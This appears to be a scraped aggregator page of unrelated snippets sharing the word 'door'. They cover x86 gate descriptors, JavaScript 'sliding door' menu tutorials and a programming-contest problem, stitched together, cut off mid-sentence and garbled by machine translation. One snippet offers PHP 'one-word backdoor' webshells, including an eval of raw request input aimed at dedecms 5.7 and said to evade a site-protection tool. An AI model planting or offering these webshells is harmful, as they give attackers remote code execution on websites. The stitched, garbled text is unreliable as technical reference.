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On the NT platform, common applications run in ring3 and the operating system runs in ring0. If you need to execute some privileged commands in the program, the program must be transferred to ring0. Because privileged commands executed by user programs may damage system resources, the operating system provides necessary services to user State programs through the "Gate" mechanism for the purpose of protection and stability. There are four types of X86 doors: interrupt

X. The type of the System Segment Descriptor field type is still 4 bits, and the type of encoding and representation is listed in the following table, which has a different meaning than the type of the bucket descriptor. System segmentType Type encoding Description 0 Not defined 1 Available in 286TSS

Eight articles on the protection model have come to an end today. : D: Back to the truth.Today, let's take a look at the theoretical part.1. Exception Source:1) The processor detects an exception in a program error.A program error is detected during the running of the program. Further divided into: faluts (fault), traps (TRAP), aborts. (STOP)2) The software generates exceptions. commands such as int0, INT 3, and bound generate exceptions in the software.3) The processor checks the internal chip

Details about how JS achieves the sliding door effect and how js implements the sliding door This article describes how to implement the sliding door effect in JS. We will share this with you for your reference. The details are as follows: Description: When you move the cursor over an image, the full picture of the image is displayed. Other images are displayed a

door opener and closing manTime limit:2000/1000 MS (java/others) Memory limit:65536/32768 K (java/others) total submission (s): 11012 Accepted Submission (s): 5612Problem DescriptionEvery day the first person to the computer room to open the door, the last one to leave the door closed. A mess of the existing roomTo and from the record, please find out the person

The difference between the interruption of the gate and the transfer through the trap door is only the processing of the IF sign. For the interrupt door, the if is placed 0 in the transfer process, INTR interrupts are shielded during the execution of the handler (of course, in the interrupt handler, you can open the interrupt by artificially setting the IF flag so that the response is allowed to be masked d

JavaScript code for implementing the tab Sliding Door Effect on the left-side webpage, And the tab sliding door This article describes how js implements the tab sliding door on the left. Share it with you for your reference. The details are as follows: This is a webpage sliding door with an opening to the left, webpage

Js picture shutter door navigation menu special effects code sharing, shutter door navigation menu This article describes jQuery's ultra-exquisite image slideshow slides. Share it with you for your reference. The details are as follows:This is a js-based special effect code for navigation menus of image shutter doors. Compared with the previous navigation menus, this code is more innovative than simply disp

Jquery implements the title font conversion of the sliding door menu effect, jquery sliding door This document describes how jquery implements the sliding menu for title font conversion. Share it with you for your reference. The details are as follows: Here, the jquery font will increase the webpage sliding door menu. When you place the mouse over the "

Js implements concise code for the TAB Sliding Door Effect and jstab sliding door code The example in this article describes the code for implementing simple TAB sliding door in js. Share it with you for your reference. The details are as follows: This is a sliding door code, simple TAB, simple mouse navigation effect,

Simple vertical sliding menu (sliding door) implemented by JS, js sliding door This article describes the simple vertical sliding menu (sliding door) implemented by JS. We will share this with you for your reference. The details are as follows: This is a vertical layout of CSS + JavaScript sliding door code, which is q

Css sliding door technology, css sliding door The double sliding door effect is still quite common, but it is easy to understand: The two doors are like the effect of overlapping two block-level elements. See the following code: # Mydoor ul li a: hover {color: # fff; // sets the background black background: url(hover.gif); // sets the background image. The

[Front-end] css adaptive width sliding door menu, css adaptive width sliding door Html css width adaptive What is the CSS adaptive width sliding menu? CSS adaptive width menu indicates that the menu width can be wider as the content increases. For example, the width of the menu is set to 4 characters, if one of them is five or more words, it cannot be placed. Therefore, we need to make the width change w

JS + CSS implement simple sliding door (sliding menu) effects, css sliding door This article describes how to implement simple sliding doors using JS + CSS. Share it with you for your reference. The details are as follows: This is a very simple sliding menu with the mouse placed on the main menu, the content will change, in fact, this demonstration is an example, you can feel from the comments in the code,

Js implements the black simple sliding door webpage tab effect, sliding door tab The example in this article describes how js achieves a simple black sliding webpage tab. Share it with you for your reference. The details are as follows: This is a js-implemented black-style webpage sliding menu. Although it is concise, it does not seem to be blank. You can change it to a tab with a slight modification. If yo

Recently a word back door constantly upgrade everyone attention precaution, basically eventful character replacement The Guardian God. Php a sentence author: Xiao Dong Copy Code code as follows: $a ($_post["C"]);?> Test success, mainly against the Guardian God, others can also try dedecms5.7 A word at the back door @eval (file_get_contents (' php://input ')); ASP a word Trojan P

Javascript + CSS: webpage sliding door menu effect code with automatic switch, css sliding door This article describes the code of webpage sliding door menu effects that JS + CSS achieves automatic switching. Share it with you for your reference. The details are as follows: This is a webpage sliding menu that supports automatic switching. JS and CSS are combined